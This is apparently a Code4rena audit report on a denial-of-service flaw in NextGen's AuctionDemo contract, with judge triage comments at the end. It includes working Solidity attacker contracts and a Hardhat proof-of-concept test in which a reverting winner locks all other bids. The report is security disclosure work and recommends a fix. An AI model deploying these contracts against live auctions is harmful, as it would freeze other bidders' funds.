Auction winner can lock funds from bids of all other bidders after the auction end

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L112

Vulnerability details

Vulnerability Details

Prerequisites:

1. The last bidder is a contract that fail on onERC721Received call (malicious or not)
2. Auction ended (block.timestamp > minter.getAuctionEndTime(_tokenid))
   Note:
   On block.timestamp <= minter.getAuctionEndTime(_tokenid) it's theoretically fixable by rebidding the malicious/broken winner. After minter.getAuctionEndTime(_tokenid) it's not fixable.

Impact

claimAuction fail on IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
No one can withdraw there bids.
No way to fix it.

Proof of Concept

Put the contracts below in hardhat/smart-contracts

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";

pragma solidity ^0.8.19;

contract EmptyBidder {
    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }


}

// SPDX-License-Identifier: MIT
import {auctionDemo} from "./AuctionDemo.sol";
import {IERC721Receiver} from "./IERC721Receiver.sol";

pragma solidity ^0.8.19;

contract RevertingERC721Receiver is IERC721Receiver {
    function bid(auctionDemo auction, uint256 tokenId) external payable {
        require(msg.value > 0);
        auction.participateToAuction{value: msg.value}(tokenId);
    }

    function onERC721Received(
        address ,
        address ,
        uint256 ,
        bytes calldata 
    ) external pure returns (bytes4) {
        revert("This revert is send from RevertingERC721Receiver");
    }
}

Put the test file below to hardhat/tests/fileName.test.js and run npx hardhat test test/fileName.test.js

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    beforeEach(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      contracts.hhEmptyBidder = await (await ethers.getContractFactory("EmptyBidder")).deploy();
      contracts.hhRevertingERC721Receiver = await (await ethers.getContractFactory("RevertingERC721Receiver")).deploy();
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhAuction.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
            expect(await contracts.hhEmptyBidder.getAddress()).to.not.equal(
                ethers.ZeroAddress,
            )
        })}
    );

    context("Auction winner can lock funds from bids of all other bidders after the auction end", () => {
        let tokenId;
        let endTimestamp;
        let normalBidder;

        beforeEach(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                signers.addr1.address,
                true,
            )
            await contracts.hhCore.connect(signers.addr1).setCollectionData(
                1, // _collectionID
                signers.addr1.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )

            const startTimestamp = await getLatestBlockTimestamp();
            endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
            )

            const initialOwnerAddress = signers.addr1.address;
            normalBidder = signers.addr2;
            expect(initialOwnerAddress).not.eq(normalBidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                initialOwnerAddress, // _recipient
                "", // _tokenData
                0, // _saltfun_o
                1, // _collectionID
                endTimestamp, // _auctionEndTime
            );

            // check token minted
            tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress);

            // approve auction to use it
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            );

            // normal bids
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 1000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 2000 });
            await contracts.hhAuction.connect(normalBidder).participateToAuction(tokenId, { value: 3000 });
        })
        it("reverts if attacker is NOT IERC721Receiver", async function() {
            // malicious/broken bid, the biggest bid so far
            await contracts.hhEmptyBidder.bid(contracts.hhAuction, tokenId, {value: 4000})

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will revert
            // @ts-ignore
            await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith(
                "ERC721: transfer to non ERC721Receiver implementer"
            );

            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
        it("reverts if attacker is IERC721Receiver", async function() {
            // malicious/broken bid, the biggest bid so far
            await contracts.hhRevertingERC721Receiver.bid(contracts.hhAuction, tokenId, {value: 4000})

            // skip until the auction end time
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp + 1]);
            await ethers.provider.send("evm_mine");
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId))
                .to.be.lessThan(await getLatestBlockTimestamp());
            
            // try to withdraw, will revert
            // @ts-ignore
            await expect(contracts.hhAuction.claimAuction(tokenId)).to.be.revertedWith(
                "This revert is send from RevertingERC721Receiver"
            );

            await expect(contracts.hhAuction.connect(normalBidder).cancelAllBids(tokenId))
                // @ts-ignore
                .to.be.revertedWith("Auction ended");
        })
    })

    
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Rewrite the auction so it uses Pull over Push pattern.

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1759

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)